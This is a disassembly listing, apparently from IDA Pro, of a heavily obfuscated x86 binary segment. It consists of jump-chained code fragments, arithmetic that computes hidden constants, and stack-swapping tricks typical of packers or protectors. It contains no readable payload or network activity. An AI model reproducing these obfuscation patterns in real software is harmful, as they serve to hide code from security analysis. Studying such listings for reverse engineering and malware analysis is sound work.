; FUNCTION CHUNK AT 0042CDD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042EDF2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042FBC1 SIZE 00000010 BYTES

		jnz	sub_425A0D
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]
		jmp	loc_4230CD
sub_42D9E1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D9F2:				; CODE XREF: _7hdaygc1:0042A947j
		jnz	loc_425D8C

; =============== S U B	R O U T	I N E =======================================



sub_42D9F8	proc near		; CODE XREF: sub_428697p
		xchg	esi, [esp+0]
		pop	esi
		push	ebp
		push	offset loc_423950


loc_42DA02:				; CODE XREF: _7hdaygc1:00424EC2j
		jmp	nullsub_67
sub_42D9F8	endp

; ---------------------------------------------------------------------------
		shr	edx, 2
		test	ecx, 0B22607C4h
		jmp	loc_42D9C5
; ---------------------------------------------------------------------------


loc_42DA15:				; DATA XREF: sub_426315+23ADo
		lea	eax, [ebp-20h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		jmp	loc_42D585
; ---------------------------------------------------------------------------


loc_42DA27:				; CODE XREF: _7hdaygc1:loc_42CEF6j
		add	eax, 0D137469Fh
		push	offset sub_42BB61
		jmp	locret_42D42E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_42DA37:				; CODE XREF: sub_42CCDD:loc_426CB6j
		mov	esp, ebp
		pop	ebp
		push	0D1822550h
		pop	eax
		sub	eax, ds:4000F9h
		and	eax, 0AD0BD8C0h
		jmp	loc_4262AF
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_42DA52:				; CODE XREF: sub_42567E+6E2Aj
		jmp	loc_428154
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42DA57:				; CODE XREF: sub_423172+2DD5j
		jmp	loc_42BE13
; END OF FUNCTION CHUNK	FOR sub_423172
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		shl	eax, 15h
		jmp	loc_42B50E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_42DA65:				; CODE XREF: sub_42F3C8-2628j
		push	edi
		mov	esi, eax
		pushf
		xchg	edi, [esp+14h+var_14]
		mov	eax, edi
		pop	edi
		jmp	loc_425C07
; END OF FUNCTION CHUNK	FOR sub_42F3C8

; =============== S U B	R O U T	I N E =======================================



sub_42DA74	proc near		; DATA XREF: sub_428079+736Bo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423528 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E221 SIZE 00000011 BYTES

		push	eax
		push	2AAF42E0h
		pop	eax
		add	eax, 0A09DF450h
		xor	eax, 9499DD37h
		jmp	loc_423528
sub_42DA74	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42DA8C:				; CODE XREF: sub_4232DA:loc_427CA9j
		call	sub_42EF3C
; END OF FUNCTION CHUNK	FOR sub_4232DA
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42DA91:				; CODE XREF: sub_42F05E-5EFFj
		jmp	loc_4273BD
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_42DA96:				; CODE XREF: sub_42A4F1-4A23j
		jmp	loc_4299F4
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------


loc_42DA9B:				; CODE XREF: _7hdaygc1:0042D37Aj
		pop	esi
		not	edx
		jg	loc_429D2B
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42DAA4:				; CODE XREF: sub_425E64+7504j
		or	eax, 0EF5B3FADh
		sub	eax, 6D2F628Ah
		cmp	eax, 84FBE98Dh
		jmp	loc_427879
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------


loc_42DABB:				; CODE XREF: _7hdaygc1:0042B8A8j
		ror	eax, 16h
		mov	ds:dword_42E54C, eax
		retn
; ---------------------------------------------------------------------------


loc_42DAC5:				; CODE XREF: _7hdaygc1:00425317j
		jmp	loc_423681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42DACA:				; CODE XREF: sub_423410+35D9j
		rol	eax, 16h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------


loc_42DACF:				; CODE XREF: _7hdaygc1:00426CE4j
		jmp	loc_4252FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_42DAD4:				; CODE XREF: sub_42F8DB-C41Ej
		jmp	loc_423A2F
; END OF FUNCTION CHUNK	FOR sub_42F8DB

; =============== S U B	R O U T	I N E =======================================



sub_42DAD9	proc near		; CODE XREF: sub_423E31:loc_423E3Ej
					; sub_42936E+672Bp

; FUNCTION CHUNK AT 0042626B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426996 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004281DA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004295DF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042A5F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BA4F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E8E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F40D SIZE 00000004 BYTES

		jb	sub_42B2B9
		push	eax
		jmp	loc_42E8E8
sub_42DAD9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42DAE5:				; CODE XREF: sub_42C7F3-8B67j
		shl	edx, 6
; END OF FUNCTION CHUNK	FOR sub_42C7F3

; =============== S U B	R O U T	I N E =======================================



sub_42DAE8	proc near		; CODE XREF: sub_4269CB:loc_42617Ap
		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		call	sub_42CAE1


loc_42DAF2:				; CODE XREF: sub_425A37+8CEBj
		jmp	loc_42C1C9
sub_42DAE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42DAF7	proc near		; CODE XREF: sub_42A92E+1B8Ej
					; sub_42F291:loc_42F823p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00425160 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427336 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004290E9 SIZE 00000017 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 0CC9F1B6Bh
		add	eax, ebp
		jmp	loc_425160
sub_42DAF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42DB08:				; CODE XREF: _7hdaygc1:0042C4CFj
		mov	eax, [ebp-8]
		call	sub_42BEDA
; START	OF FUNCTION CHUNK FOR sub_4291CE


loc_42DB10:				; CODE XREF: sub_4291CE:loc_425472j
		add	ebx, 4A66DC9Ch
		add	ebx, ebp
		add	ebx, 0B4157294h
		call	sub_424E7E
; END OF FUNCTION CHUNK	FOR sub_4291CE
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42DB23:				; CODE XREF: sub_425E64:loc_42D36Ej
		add	edx, 0C6FE8A27h
		mov	edx, [edx]
		xor	eax, edx
		pop	edx
		jmp	loc_424650
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------


loc_42DB33:				; CODE XREF: _7hdaygc1:loc_42B146j
					; _7hdaygc1:0042F4E9j
		rol	edx, 12h
		add	edx, 99906AC5h
		xchg	edx, [esp]
		jmp	loc_426917

; =============== S U B	R O U T	I N E =======================================



sub_42DB44	proc near		; CODE XREF: _7hdaygc1:00424261j
					; sub_4232DA:loc_42BF64p

; FUNCTION CHUNK AT 0042495E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004257E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A483 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042FAF3 SIZE 00000014 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	44153841h
		pop	eax
		and	eax, 0D278A2D1h
		sub	eax, 61D3FE45h
		xor	eax, 5E3C21FEh
		jmp	loc_42A483
sub_42DB44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42DB65:				; CODE XREF: sub_42F65A:loc_42D061j
		or	eax, 5EE5F150h
		xor	eax, 7A885AA6h
		add	eax, ebp
		add	eax, 0FB8055FDh
		mov	eax, [eax]
		push	eax
		push	offset sub_42F913
		jmp	loc_42DEB4
; END OF FUNCTION CHUNK	FOR sub_42F65A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42DB87:				; CODE XREF: sub_42A052+2B6Cj
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42DB8C:				; CODE XREF: sub_424AE1-1577j
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_42DB91:				; CODE XREF: _7hdaygc1:004284EEj
		ror	eax, 6
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42DB94:				; CODE XREF: sub_4237DA+4CFDj
		sub	esi, 18ECE0CEh
		xor	esi, 0C07E5F16h
		add	eax, esi
		pop	esi
		jmp	loc_42B7A5
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------


loc_42DBA8:				; CODE XREF: _7hdaygc1:00426B5Dj
		jns	loc_424FAA

; =============== S U B	R O U T	I N E =======================================



sub_42DBAE	proc near		; CODE XREF: sub_42D48F-9BBEp

; FUNCTION CHUNK AT 0042F73F SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	edx, 0C2913445h
		push	offset loc_42331A
		jmp	loc_42F73F
sub_42DBAE	endp

; ---------------------------------------------------------------------------


loc_42DBC2:				; CODE XREF: _7hdaygc1:loc_42F487j
		and	edi, edx
		mov	ecx, [ebp+0]
		xor	edi, ebp
		mov	ebx, [eax]
		jmp	loc_42326C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42DBD1:				; CODE XREF: sub_42A17C+4C1Dj
		jmp	loc_42F6BD
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------


loc_42DBD6:				; CODE XREF: _7hdaygc1:00428AD6j
		jmp	locret_42A786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_42DBDB:				; CODE XREF: sub_42B907-7F90j
		jz	loc_4293AA
		xchg	esi, [eax]
		jmp	loc_4293A7
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7D


loc_42DBE8:				; CODE XREF: sub_42BE7D+8C4j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42BE7D

; =============== S U B	R O U T	I N E =======================================



sub_42DBEA	proc near		; CODE XREF: sub_42BD51-4055p
					; sub_42CDF7-113Cp ...
		mov	dword ptr [eax], 0
		retn
sub_42DBEA	endp

; ---------------------------------------------------------------------------


loc_42DBF1:				; CODE XREF: _7hdaygc1:0042EDD2j
		jmp	loc_42A6FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DBF7	proc near		; CODE XREF: sub_42409E+7404p

var_14		= byte ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004294AA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00429CBC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AB67 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042E296 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FA0E SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_42FA0E
sub_42DBF7	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_42DC03:				; CODE XREF: sub_42BAE7+2FA1j
		jmp	loc_42F411
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42DC08:				; CODE XREF: sub_425E64+1078j
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42DC0D:				; CODE XREF: sub_42C7F3:loc_426C4Bj
					; sub_42E58D:loc_42703Cj
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	eax
		mov	eax, ebx
		call	sub_42F31E


loc_42DC1A:				; CODE XREF: sub_427EF6+6E0Ej
		jmp	loc_423C7A
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_42DC1F:				; CODE XREF: sub_428B5B-346Ej
		jmp	loc_42C91F
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------


loc_42DC24:				; CODE XREF: _7hdaygc1:0042BFB4j
		push	ebp
		add	esi, 0B8CF3303h
		jmp	loc_428C9D
; ---------------------------------------------------------------------------

locret_42DC30:				; CODE XREF: _7hdaygc1:0042D1B3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_42DC31:				; CODE XREF: sub_426A62+894j
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------
		mov	ds:dword_42B9B8, eax
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42DC3B:				; CODE XREF: sub_425F27:loc_423036j
		push	0E08739C4h
		pop	eax
		xor	eax, 827E743Fh
		cmp	eax, 57B3AA8Ah
		jmp	loc_423907
; END OF FUNCTION CHUNK	FOR sub_425F27

; =============== S U B	R O U T	I N E =======================================



sub_42DC52	proc near		; CODE XREF: sub_42E85F-5661p
					; _7hdaygc1:0042B078j
		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, ebp
		call	sub_42CB0F


loc_42DC5D:				; CODE XREF: _7hdaygc1:0042EE07j
		jmp	loc_42FA3E
sub_42DC52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42DC62:				; CODE XREF: _7hdaygc1:004234D7j
		retn
; ---------------------------------------------------------------------------


loc_42DC63:				; CODE XREF: _7hdaygc1:0042AA96j
		jmp	loc_42D2C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428DE6


loc_42DC68:				; CODE XREF: sub_428DE6+7j
		xchg	edi, [esp+0]
		mov	ebx, edi
		pop	edi
		mov	esp, ebp
		jmp	loc_423EFB
; END OF FUNCTION CHUNK	FOR sub_428DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42DC75:				; CODE XREF: sub_42AFFE:loc_429994j
		xor	ecx, 9E024895h
		rol	ecx, 1Ah
		add	ecx, 0D5A95407h
		xchg	ecx, [esp+0]
		jmp	loc_42B602
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424755


loc_42DC8C:				; CODE XREF: sub_424755:loc_42DEB9j
		jz	loc_4294C0
		jmp	loc_42A522
; END OF FUNCTION CHUNK	FOR sub_424755
; ---------------------------------------------------------------------------
		or	ebp, eax
		jmp	sub_426008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260B4


loc_42DC9E:				; CODE XREF: sub_4260B4:loc_426DBEj
					; _7hdaygc1:0042A6B3j
		shl	eax, 0Fh
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		push	offset loc_4242FA
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_4260B4
; ---------------------------------------------------------------------------
		jo	loc_4289AA
		jmp	loc_42F30C
; ---------------------------------------------------------------------------
		push	9A411369h
		pop	eax
		add	eax, 228D5D18h
		xor	eax, 1BC2113Ah
		add	eax, ebp
		push	esi
		push	0BE58E2A9h
		jmp	loc_42D815
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_42DCDD:				; CODE XREF: sub_425BAD+8368j
		call	sub_426BF7


loc_42DCE2:				; CODE XREF: sub_42A9E0+1j
		mov	ebp, esp
		push	offset loc_425B64
		jmp	loc_42F059
; END OF FUNCTION CHUNK	FOR sub_425BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42DCEE:				; CODE XREF: sub_42C16F:loc_42A276j
		push	9B4BC166h
		pop	eax
		or	eax, 402BB84Ch
		add	eax, 24D6DD77h
		popf
		xchg	eax, [esp+4+var_4]
		jmp	loc_42D702
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		sub	edi, 90221AC1h
		jmp	loc_42EBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_42DD14:				; CODE XREF: sub_42E076:loc_42E8B8j
		jz	sub_42DBEA
		sbb	edx, ebp
		jmp	loc_4253C1
; END OF FUNCTION CHUNK	FOR sub_42E076
; ---------------------------------------------------------------------------

locret_42DD21:				; CODE XREF: _7hdaygc1:loc_424DEEj
		retn
; ---------------------------------------------------------------------------


loc_42DD22:				; CODE XREF: _7hdaygc1:0042EB68j
		jmp	locret_424E91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426315


loc_42DD27:				; CODE XREF: sub_426315+3D6Dj
		jmp	loc_42715D
; END OF FUNCTION CHUNK	FOR sub_426315
; ---------------------------------------------------------------------------


loc_42DD2C:				; DATA XREF: _7hdaygc1:00423955o
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		jmp	loc_42BF0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42DD3D:				; CODE XREF: sub_42C7F3-61F2j
		jge	loc_42552D
		and	edi, edx
		jmp	loc_42552C
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42DD4A:				; CODE XREF: sub_4253A0-598j
		jz	loc_424BD5
		jmp	loc_423924
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42DD55:				; CODE XREF: sub_42C16F-683Cj
		pop	edx
		sub	edx, 0DD8C2C0Dh
		xor	edx, 7AD23E23h
		add	edx, ebp
		add	edx, 292DDD97h
		mov	edx, [edx]
		jmp	loc_428FA0
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42DD71:				; CODE XREF: _7hdaygc1:0042CE67j
		sbb	edx, edi

; =============== S U B	R O U T	I N E =======================================



sub_42DD73	proc near		; CODE XREF: sub_42B4F9+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042377A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423F49 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425869 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426588 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004273F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428A6F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428DD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042955E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004296D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AC22 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AF36 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D1F9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042D3BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042DF41 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042EBBE SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 3
		jnz	loc_426588
		jmp	loc_42377A
sub_42DD73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ecx], edx
		jmp	sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42DD90:				; CODE XREF: sub_42E283-1779j
		jg	loc_42B2BF
		sbb	edx, esi


loc_42DD98:				; CODE XREF: sub_42E283:loc_42E0B9j
		call	sub_4288FE
		test	al, al
		jz	nullsub_83
		jmp	loc_42A7DF
; END OF FUNCTION CHUNK	FOR sub_42E283
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42DDAB:				; CODE XREF: sub_423DFC+5A5Aj
		jmp	loc_42D195
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD9


loc_42DDB0:				; CODE XREF: sub_426DD9+8j
		jmp	loc_42E91B
; END OF FUNCTION CHUNK	FOR sub_426DD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42DDB5:				; CODE XREF: sub_42C16F:loc_428404j
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+18h+var_18]
		push	7C48AB08h
		pop	edx
		xor	edx, 1C1EFE15h
		jmp	loc_423C5D
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42DDCC:				; CODE XREF: _7hdaygc1:004271FFj
		call	sub_42D85F
		jmp	loc_42B980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_42DDD6:				; CODE XREF: sub_428E56j
		push	esi
		mov	esi, edx
		call	sub_424F0A


loc_42DDDE:				; CODE XREF: sub_42F528-658Dj
		jmp	loc_42FC09
; END OF FUNCTION CHUNK	FOR sub_428E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427CC6


loc_42DDE3:				; CODE XREF: sub_425339:loc_4242B6j
					; sub_425339-1077j ...
		jz	loc_425DEF
		or	eax, eax
		push	offset loc_425DD9
		jmp	loc_42A4B0
; END OF FUNCTION CHUNK	FOR sub_427CC6

; =============== S U B	R O U T	I N E =======================================



sub_42DDF5	proc near		; DATA XREF: sub_424CE0+370o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004253FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427105 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004293DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042BC7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CAB4 SIZE 00000023 BYTES

		mov	ecx, [ebp-30h]
		push	edx
		push	0EA5DDEE6h


loc_42DDFE:				; CODE XREF: _7hdaygc1:00429B8Ej
		pop	edx
		xor	edx, 0EAA1FD41h


loc_42DE05:				; CODE XREF: _7hdaygc1:0042AC85j
		sub	edx, 3B96878h
		xor	edx, 6ECC0C38h
		add	edx, 6CB39078h
		jmp	loc_4253FB
sub_42DDF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	ebp, 18h
		jmp	loc_42ED48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B32F


loc_42DE25:				; CODE XREF: sub_42B32F+532j
		jmp	loc_42CC53
; END OF FUNCTION CHUNK	FOR sub_42B32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_42DE2A:				; CODE XREF: _7hdaygc1:0042332Ej
					; sub_4269CB+4j
		rol	eax, 19h
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_4269CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42DE34:				; CODE XREF: sub_42911B+3B16j
		jmp	loc_429000
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42DE39:				; CODE XREF: sub_4253A0:loc_423924j
		test	esi, ebx
		jmp	loc_42DF52
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------

locret_42DE40:				; CODE XREF: _7hdaygc1:00426F4Ej
		retn
; ---------------------------------------------------------------------------


loc_42DE41:				; CODE XREF: _7hdaygc1:0042D332j
		jmp	sub_42A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425339


loc_42DE46:				; CODE XREF: sub_425339-105Ej
		jmp	loc_42DDE3
; END OF FUNCTION CHUNK	FOR sub_425339
; ---------------------------------------------------------------------------


loc_42DE4B:				; CODE XREF: _7hdaygc1:loc_423E61j
		and	eax, 0DC8B35B3h
		test	eax, 1000h
		jmp	loc_42CA8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF3C


loc_42DE5C:				; CODE XREF: sub_42EF3C:loc_42527Fj
		call	sub_428C3B
		xor	edx, edx
		push	ecx
		add	ecx, 0F818DCA3h
		jmp	loc_42F0F8
; END OF FUNCTION CHUNK	FOR sub_42EF3C

; =============== S U B	R O U T	I N E =======================================



sub_42DE6F	proc near		; CODE XREF: _7hdaygc1:00429505j
					; sub_42F8C4-5189p

; FUNCTION CHUNK AT 004287C8 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edi, 0D9072889h
		mov	[edi], edx
		pop	edi
		jmp	loc_4287C8
sub_42DE6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_42DE81:				; CODE XREF: sub_42D002-1D28j
		popf


loc_42DE82:				; CODE XREF: sub_42D002:loc_42B2C9j
		add	eax, 54010414h


loc_42DE88:				; CODE XREF: _7hdaygc1:004271E2j
		rol	eax, 1
		and	eax, ds:4000F7h
		jmp	loc_42EF0B
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_42DE95:				; CODE XREF: _7hdaygc1:loc_42A0DBj
					; sub_42A6C3:loc_42E2C0j
		jz	loc_424BDD
		jmp	loc_426F78
; END OF FUNCTION CHUNK	FOR sub_42A6C3

; =============== S U B	R O U T	I N E =======================================



sub_42DEA0	proc near		; CODE XREF: _7hdaygc1:0042D32Aj
					; sub_42E51C+Ep

; FUNCTION CHUNK AT 00424957 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B3C9 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		jmp	loc_42B3C9
sub_42DEA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BF20


loc_42DEAF:				; CODE XREF: sub_42BF20:loc_4297DEj
		call	sub_42B510
; END OF FUNCTION CHUNK	FOR sub_42BF20
; START	OF FUNCTION CHUNK FOR sub_429557


loc_42DEB4:				; CODE XREF: sub_42F65A-1AD9j
					; sub_429557:loc_42FA5Cj
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_429557
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424755


loc_42DEB9:				; CODE XREF: sub_424755+68A4j
		jmp	loc_42DC8C
; END OF FUNCTION CHUNK	FOR sub_424755
; ---------------------------------------------------------------------------
		mov	edx, [ebp-4]
		lea	eax, [ebp-18h]


loc_42DEC4:				; CODE XREF: _7hdaygc1:loc_426B40j
		mov	ecx, [ebp-30h]
		push	edx
		jmp	loc_42A5B5
; ---------------------------------------------------------------------------


loc_42DECD:				; DATA XREF: sub_4282A9-379Eo
		push	119C6F8Fh
		pop	esi
		xor	esi, 6FB49637h
		add	esi, 0F081C18h
		jmp	loc_42BB7E
; ---------------------------------------------------------------------------


loc_42DEE4:				; DATA XREF: _7hdaygc1:00423894o
		mov	eax, [eax]
		cmp	dword ptr [eax], 0
		jz	loc_4270F0
		jmp	loc_42FDBC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42DEF5:				; CODE XREF: _7hdaygc1:00423051j
		jg	loc_4265EE
		add	eax, 9108415Bh
; START	OF FUNCTION CHUNK FOR sub_425BAD


